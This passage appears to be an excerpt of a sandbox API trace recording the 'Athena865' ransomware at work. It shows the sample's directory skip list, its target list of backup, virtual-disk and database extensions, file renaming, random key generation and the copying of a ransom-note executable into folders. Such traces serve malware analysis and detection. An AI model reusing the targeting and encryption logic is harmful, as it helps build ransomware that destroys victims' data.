(lpString1="MSWDS_FR.LEX", lpString2="pagefile.sys") returned -1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="boot") returned 1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="ids.txt") returned 1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="ntuser.dat") returned -1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="perflogs") returned -1 [0115.859] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2="MSBuild") returned 1 [0115.859] lstrlenW (lpString="MSWDS_FR.LEX") returned 12 [0115.860] lstrcpyW (in: lpString1=0x241e8b2, lpString2="MSWDS_FR.LEX" | out: lpString1="MSWDS_FR.LEX") returned="MSWDS_FR.LEX" [0115.860] lstrlenW (lpString="MSWDS_FR.LEX") returned 12 [0115.860] lstrlenW (lpString="Athena865") returned 9 [0115.860] lstrcmpiW (lpString1="DS_FR.LEX", lpString2="Athena865") returned 1 [0115.860] lstrlenW (lpString=".dll") returned 4 [0115.860] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".dll") returned 1 [0115.860] lstrlenW (lpString=".lnk") returned 4 [0115.860] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".lnk") returned 1 [0115.860] lstrlenW (lpString=".ini") returned 4 [0115.860] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".ini") returned 1 [0115.860] lstrlenW (lpString=".sys") returned 4 [0115.860] lstrcmpiW (lpString1="MSWDS_FR.LEX", lpString2=".sys") returned 1 [0115.860] lstrlenW (lpString="MSWDS_FR.LEX") returned 12 [0115.860] lstrlenW (lpString="bak") returned 3 [0115.860] lstrcmpiW (lpString1="LEX", lpString2="bak") returned 1 [0115.860] lstrlenW (lpString="ba_") returned 3 [0115.860] lstrcmpiW (lpString1="LEX", lpString2="ba_") returned 1 [0115.860] lstrlenW (lpString="dbb") returned 3 [0115.860] lstrcmpiW (lpString1="LEX", lpString2="dbb") returned 1 [0115.860] lstrlenW (lpString="vmdk") returned 4 [0115.860] lstrcmpiW (lpString1=".LEX", lpString2="vmdk") returned -1 [0115.860] lstrlenW (lpString="rar") returned 3 [0115.860] lstrcmpiW (lpString1="LEX", lpString2="rar") returned -1 [0115.860] lstrlenW (lpString="zip") returned 3 [0115.860] lstrcmpiW (lpString1="LEX", lpString2="zip") returned -1 [0115.860] lstrlenW (lpString="tgz") returned 3 [0115.860] lstrcmpiW (lpString1="LEX", lpString2="tgz") returned -1 [0115.860] lstrlenW (lpString="vbox") returned 4 [0115.860] lstrcmpiW (lpString1=".LEX", lpString2="vbox") returned -1 [0115.860] lstrlenW (lpString="vdi") returned 3 [0115.860] lstrcmpiW (lpString1="LEX", lpString2="vdi") returned -1 [0115.860] lstrlenW (lpString="vhd") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="vhd") returned -1 [0115.861] lstrlenW (lpString="vhdx") returned 4 [0115.861] lstrcmpiW (lpString1=".LEX", lpString2="vhdx") returned -1 [0115.861] lstrlenW (lpString="avhd") returned 4 [0115.861] lstrcmpiW (lpString1=".LEX", lpString2="avhd") returned -1 [0115.861] lstrlenW (lpString="db") returned 2 [0115.861] lstrcmpiW (lpString1="EX", lpString2="db") returned 1 [0115.861] lstrlenW (lpString="db2") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="db2") returned 1 [0115.861] lstrlenW (lpString="db3") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="db3") returned 1 [0115.861] lstrlenW (lpString="dbf") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="dbf") returned 1 [0115.861] lstrlenW (lpString="mdf") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="mdf") returned -1 [0115.861] lstrlenW (lpString="mdb") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="mdb") returned -1 [0115.861] lstrlenW (lpString="sql") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="sql") returned -1 [0115.861] lstrlenW (lpString="sqlite") returned 6 [0115.861] lstrcmpiW (lpString1="FR.LEX", lpString2="sqlite") returned -1 [0115.861] lstrlenW (lpString="sqlite3") returned 7 [0115.861] lstrcmpiW (lpString1="_FR.LEX", lpString2="sqlite3") returned -1 [0115.861] lstrlenW (lpString="sqlitedb") returned 8 [0115.861] lstrcmpiW (lpString1="S_FR.LEX", lpString2="sqlitedb") returned -1 [0115.861] lstrlenW (lpString="xml") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="xml") returned -1 [0115.861] lstrlenW (lpString="$er") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="$er") returned 1 [0115.861] lstrlenW (lpString="4dd") returned 3 [0115.861] lstrcmpiW (lpString1="LEX", lpString2="4dd") returned 1 [0115.862] lstrlenW (lpString="4dl") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="4dl") returned 1 [0115.862] lstrlenW (lpString="^^^") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="^^^") returned 1 [0115.862] lstrlenW (lpString="abs") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="abs") returned 1 [0115.862] lstrlenW (lpString="abx") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="abx") returned 1 [0115.862] lstrlenW (lpString="accdb") returned 5 [0115.862] lstrcmpiW (lpString1="R.LEX", lpString2="accdb") returned 1 [0115.862] lstrlenW (lpString="accdc") returned 5 [0115.862] lstrcmpiW (lpString1="R.LEX", lpString2="accdc") returned 1 [0115.862] lstrlenW (lpString="accde") returned 5 [0115.862] lstrcmpiW (lpString1="R.LEX", lpString2="accde") returned 1 [0115.862] lstrlenW (lpString="accdr") returned 5 [0115.862] lstrcmpiW (lpString1="R.LEX", lpString2="accdr") returned 1 [0115.862] lstrlenW (lpString="accdt") returned 5 [0115.862] lstrcmpiW (lpString1="R.LEX", lpString2="accdt") returned 1 [0115.862] lstrlenW (lpString="accdw") returned 5 [0115.862] lstrcmpiW (lpString1="R.LEX", lpString2="accdw") returned 1 [0115.862] lstrlenW (lpString="accft") returned 5 [0115.862] lstrcmpiW (lpString1="R.LEX", lpString2="accft") returned 1 [0115.862] lstrlenW (lpString="adb") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0115.862] lstrlenW (lpString="adb") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="adb") returned 1 [0115.862] lstrlenW (lpString="ade") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="ade") returned 1 [0115.862] lstrlenW (lpString="adf") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="adf") returned 1 [0115.862] lstrlenW (lpString="adn") returned 3 [0115.862] lstrcmpiW (lpString1="LEX", lpString2="adn") returned 1 [0115.863] lstrlenW (lpString="adp") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="adp") returned 1 [0115.863] lstrlenW (lpString="alf") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="alf") returned 1 [0115.863] lstrlenW (lpString="ask") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="ask") returned 1 [0115.863] lstrlenW (lpString="btr") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="btr") returned 1 [0115.863] lstrlenW (lpString="cat") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="cat") returned 1 [0115.863] lstrlenW (lpString="cdb") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="cdb") returned 1 [0115.863] lstrlenW (lpString="ckp") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="ckp") returned 1 [0115.863] lstrlenW (lpString="cma") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="cma") returned 1 [0115.863] lstrlenW (lpString="cpd") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="cpd") returned 1 [0115.863] lstrlenW (lpString="dacpac") returned 6 [0115.863] lstrcmpiW (lpString1="FR.LEX", lpString2="dacpac") returned 1 [0115.863] lstrlenW (lpString="dad") returned 3 [0115.863] lstrcmpiW (lpString1="LEX", lpString2="dad") returned 1 [0115.863] lstrlenW (lpString="dadiagrams") returned 10 [0115.863] lstrcmpiW (lpString1="WDS_FR.LEX", lpString2="dadiagrams") returned 1 [0115.863] lstrlenW (lpString="daschema") returned 8 [0115.863] lstrcmpiW (lpString1="S_FR.LEX", lpString2="daschema") returned 1 [0115.864] lstrlenW (lpString="db-journal") returned 10 [0115.864] lstrcmpiW (lpString1="WDS_FR.LEX", lpString2="db-journal") returned 1 [0115.864] lstrlenW (lpString="db-shm") returned 6 [0115.864] lstrcmpiW (lpString1="FR.LEX", lpString2="db-shm") returned 1 [0115.864] lstrlenW (lpString="db-wal") returned 6 [0115.864] lstrcmpiW (lpString1="FR.LEX", lpString2="db-wal") returned 1 [0115.864] lstrlenW (lpString="dbc") returned 3 [0115.864] lstrcmpiW (lpString1="LEX", lpString2="dbc") returned 1 [0115.864] lstrlenW (lpString="dbs") returned 3 [0115.864] lstrcmpiW (lpString1="LEX", lpString2="dbs") returned 1 [0115.864] lstrlenW (lpString="dbt") returned 3 [0115.864] lstrcmpiW (lpString1="LEX", lpString2="dbt") returned 1 [0115.864] lstrlenW (lpString="dbv") returned 3 [0115.864] lstrcmpiW (lpString1="LEX", lpString2="dbv") returned 1 [0115.864] lstrlenW (lpString="dbx") returned 3 [0115.864] lstrcmpiW (lpString1="LEX", lpString2="dbx") returned 1 [0115.864] lstrlenW (lpString="dcb") returned 3 [0115.864] lstrcmpiW (lpString1="LEX", lpString2="dcb") returned 1 [0115.864] lstrcmpiW (lpString1="LEX", lpString2="dct") returned 1 [0115.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.Athena865") returned 75 [0115.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.athena865"), dwFlags=0x1) returned 1 [0115.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.865] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=295663) returned 1 [0115.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0115.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.867] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.867] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.867] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x485f0, lpName=0x0) returned 0x154 [0115.868] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x485f0) returned 0x2d50000 [0115.882] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.882] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.882] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.883] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0115.886] CloseHandle (hObject=0x154) returned 1 [0115.886] CloseHandle (hObject=0x17c) returned 1 [0115.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0115.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.887] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0115.887] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0115.887] ReleaseMutex (hMutex=0xec) returned 1 [0115.887] CloseHandle (hObject=0xec) returned 1 [0115.887] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" [0115.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502928 | out: hHeap=0x4f0000) returned 1 [0115.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ae10 | out: hHeap=0x4f0000) returned 1 [0115.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned 56 [0115.888] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CAA0EC510867D4C096529835F7F5C8D7") returned 0xec [0115.888] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0115.888] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" [0115.888] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0115.888] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to back your files.exe"), bFailIfExists=1) returned 0 [0115.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0115.888] GetLastError () returned 0x0 [0115.888] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0115.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0115.889] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0115.889] CloseHandle (hObject=0xf4) returned 1 [0115.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.889] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0115.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce08e220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce08e220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0115.890] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.890] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0115.890] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0115.890] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce08e220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce08e220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.890] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.890] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0115.890] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0115.890] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0115.890] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0115.890] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0115.890] lstrlenW (lpString="1033") returned 4 [0115.890] lstrcpyW (in: lpString1=0x241e8ba, lpString2="1033" | out: lpString1="1033") returned="1033" [0115.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ae10 [0115.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519cc8 [0115.891] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0115.891] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0115.891] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0115.896] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".") returned 1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="..") returned 1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="windows") returned -1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="bootmgr") returned 1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="temp") returned -1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="pagefile.sys") returned -1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="boot") returned 1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="ids.txt") returned -1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="ntuser.dat") returned -1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="perflogs") returned -1 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2="MSBuild") returned -1 [0115.896] lstrlenW (lpString="FBIBLIO.DLL") returned 11 [0115.896] lstrcpyW (in: lpString1=0x241e8ba, lpString2="FBIBLIO.DLL" | out: lpString1="FBIBLIO.DLL") returned="FBIBLIO.DLL" [0115.896] lstrlenW (lpString="FBIBLIO.DLL") returned 11 [0115.896] lstrlenW (lpString="Athena865") returned 9 [0115.896] lstrcmpiW (lpString1="IBLIO.DLL", lpString2="Athena865") returned 1 [0115.896] lstrlenW (lpString=".dll") returned 4 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".dll") returned 1 [0115.896] lstrlenW (lpString=".lnk") returned 4 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".lnk") returned 1 [0115.896] lstrlenW (lpString=".ini") returned 4 [0115.896] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".ini") returned 1 [0115.897] lstrlenW (lpString=".sys") returned 4 [0115.897] lstrcmpiW (lpString1="FBIBLIO.DLL", lpString2=".sys") returned 1 [0115.897] lstrlenW (lpString="FBIBLIO.DLL") returned 11 [0115.897] lstrlenW (lpString="bak") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0115.897] lstrlenW (lpString="ba_") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0115.897] lstrlenW (lpString="dbb") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0115.897] lstrlenW (lpString="vmdk") returned 4 [0115.897] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0115.897] lstrlenW (lpString="rar") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0115.897] lstrlenW (lpString="zip") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0115.897] lstrlenW (lpString="tgz") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0115.897] lstrlenW (lpString="vbox") returned 4 [0115.897] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0115.897] lstrlenW (lpString="vdi") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0115.897] lstrlenW (lpString="vhd") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0115.897] lstrlenW (lpString="vhdx") returned 4 [0115.897] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0115.897] lstrlenW (lpString="avhd") returned 4 [0115.897] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0115.897] lstrlenW (lpString="db") returned 2 [0115.897] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0115.897] lstrlenW (lpString="db2") returned 3 [0115.897] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0115.898] lstrlenW (lpString="db3") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0115.898] lstrlenW (lpString="dbf") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0115.898] lstrlenW (lpString="mdf") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0115.898] lstrlenW (lpString="mdb") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0115.898] lstrlenW (lpString="sql") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0115.898] lstrlenW (lpString="sqlite") returned 6 [0115.898] lstrcmpiW (lpString1="IO.DLL", lpString2="sqlite") returned -1 [0115.898] lstrlenW (lpString="sqlite3") returned 7 [0115.898] lstrcmpiW (lpString1="LIO.DLL", lpString2="sqlite3") returned -1 [0115.898] lstrlenW (lpString="sqlitedb") returned 8 [0115.898] lstrcmpiW (lpString1="BLIO.DLL", lpString2="sqlitedb") returned -1 [0115.898] lstrlenW (lpString="xml") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0115.898] lstrlenW (lpString="$er") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0115.898] lstrlenW (lpString="4dd") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0115.898] lstrlenW (lpString="4dl") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0115.898] lstrlenW (lpString="^^^") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0115.898] lstrlenW (lpString="abs") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0115.898] lstrlenW (lpString="abx") returned 3 [0115.898] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0115.898] lstrlenW (lpString="accdb") returned 5 [0115.899] lstrcmpiW (lpString1="O.DLL", lpString2="accdb") returned 1 [0115.899] lstrlenW (lpString="accdc") returned 5 [0115.899] lstrcmpiW 